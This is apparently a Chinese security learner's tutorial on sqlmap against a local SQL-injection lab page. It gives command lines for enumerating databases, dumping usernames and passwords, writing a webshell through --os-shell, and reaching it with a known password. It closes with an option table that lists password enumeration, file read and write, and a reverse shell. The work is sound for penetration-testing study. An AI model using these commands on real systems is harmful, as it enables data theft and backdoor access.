本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
之前介绍了各种SQL注入的方法,今天介绍SQLMAP工具的使用及如何通过SQL注入拿到Webshell
SQLMap是一个用Python写的SQL注入工具,可以轻松地对目标进行SQL注入攻击
由于我已经安装了Python环境,所以我这里是直接用pip安装
打开DOS,输入:
pip install sqlmap -i https://mirrors.aliyun.com/pypi/simple/
然后在dos中输入sqlmap
,如果出现像下图的,则为安装成功
我们通过一个实例来讲解SQLMAP的使用
测试地址:http://192.168.1.9/sql1/Less-1/?id=1
注入检测
简单查看页面,怀疑存在SQL注入漏洞
直接放进sqlmap扫描。指令:
sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1
返回结果介绍:
这一堆东西说明了存在注入的参数和注入方法,以及各种注入的Payload
这里说了数据库的类型版本,如果在测试中出现此内容,说明存在注入漏洞。
信息获取
获取当前用户sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --current-user
获取当前数据库:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --current-db
获取所有数据库:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --dbs
获取security数据库的所有表:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -tables
获取users表中所有字段:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -T users -columns
获取username,password的内容:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -T users -C username,password -dump
-dump可以导出数据,数据导出位置在
GetShell
通过SQLMAP获取shell
判断是否为dba:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --is-dba
如果这里权限是dba的话,可以尝试直接写shell
使用os-shell可以执行系统指令,同时向服务器上传一个文件用于文件上传
前提是需要知道网站的绝对路径并且有文件权限。
sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --os-shell
这里会要你选择网站的语言。选择4,PHP
在这里要猜解网站的绝对路径,可以使用SQLMAP的字典,也可以自己导入字典。我这里直接1,使用SQLMAP的字典。
假如猜解成功,就会返回一个shell。
注意,在这里有两个地址
告诉我们上传了一个上传文件的位置和一个后门到服务器。
我们分别访问看一下
http://192.168.1.9:80/tmpupupp.php
在这里是一个文件上传点,可以上传自己的大马,小马,一句话。
http://192.168.1.9/tmpbbeih.php
这里直接上传了一个Webshell,可以直接菜刀连接,密码是cmd
不过这个马并不是免杀的,你可以上传自己的免杀马。
参数 | 说明 |
---|---|
-b | 获取 banner |
-p | 指定测试参数 |
-g | 从Google中获取URL,-g "inurl:aspx?id=" |
--gpage | 指定Google页码 |
--union-check | 是否支持 union 注入 |
--union-use | 使用union注入 |
--proxy | 代理注入 |
--threads | 采用多线程 |
--referer=REFERER | HTTP referer头 |
--keep-alive | 使用持久 HTTP(S)连接 |
--hostname | 主机名 |
--is-dba | 是否管理员权限 |
--users | 枚举所有用户 |
--passwords | 枚举所有用户密码 |
--roles | 针枚举所有用户角色 |
--dump | 转存DBMS数据库表项目,需要指定字段名称 |
--sql-query | 执行SQL语句 |
--file-read | 读取文件(需要File权限和绝对路径) |
--file-write | 写入操作(需要File权限和绝对路径) |
--file-desk | 绝对路径写入 |
--os-pwn | 反弹shell |
--cookie=COOKIE | 指定Cookie |
--random-agent | 使用随机 User-Agent 头 |
--level | 测试等级(1~5),默认为1 |
Threads可以设置线程数,在时间盲注时可加快效率。
-p可以指定测试参数,例如 -p id 意为测试参数id。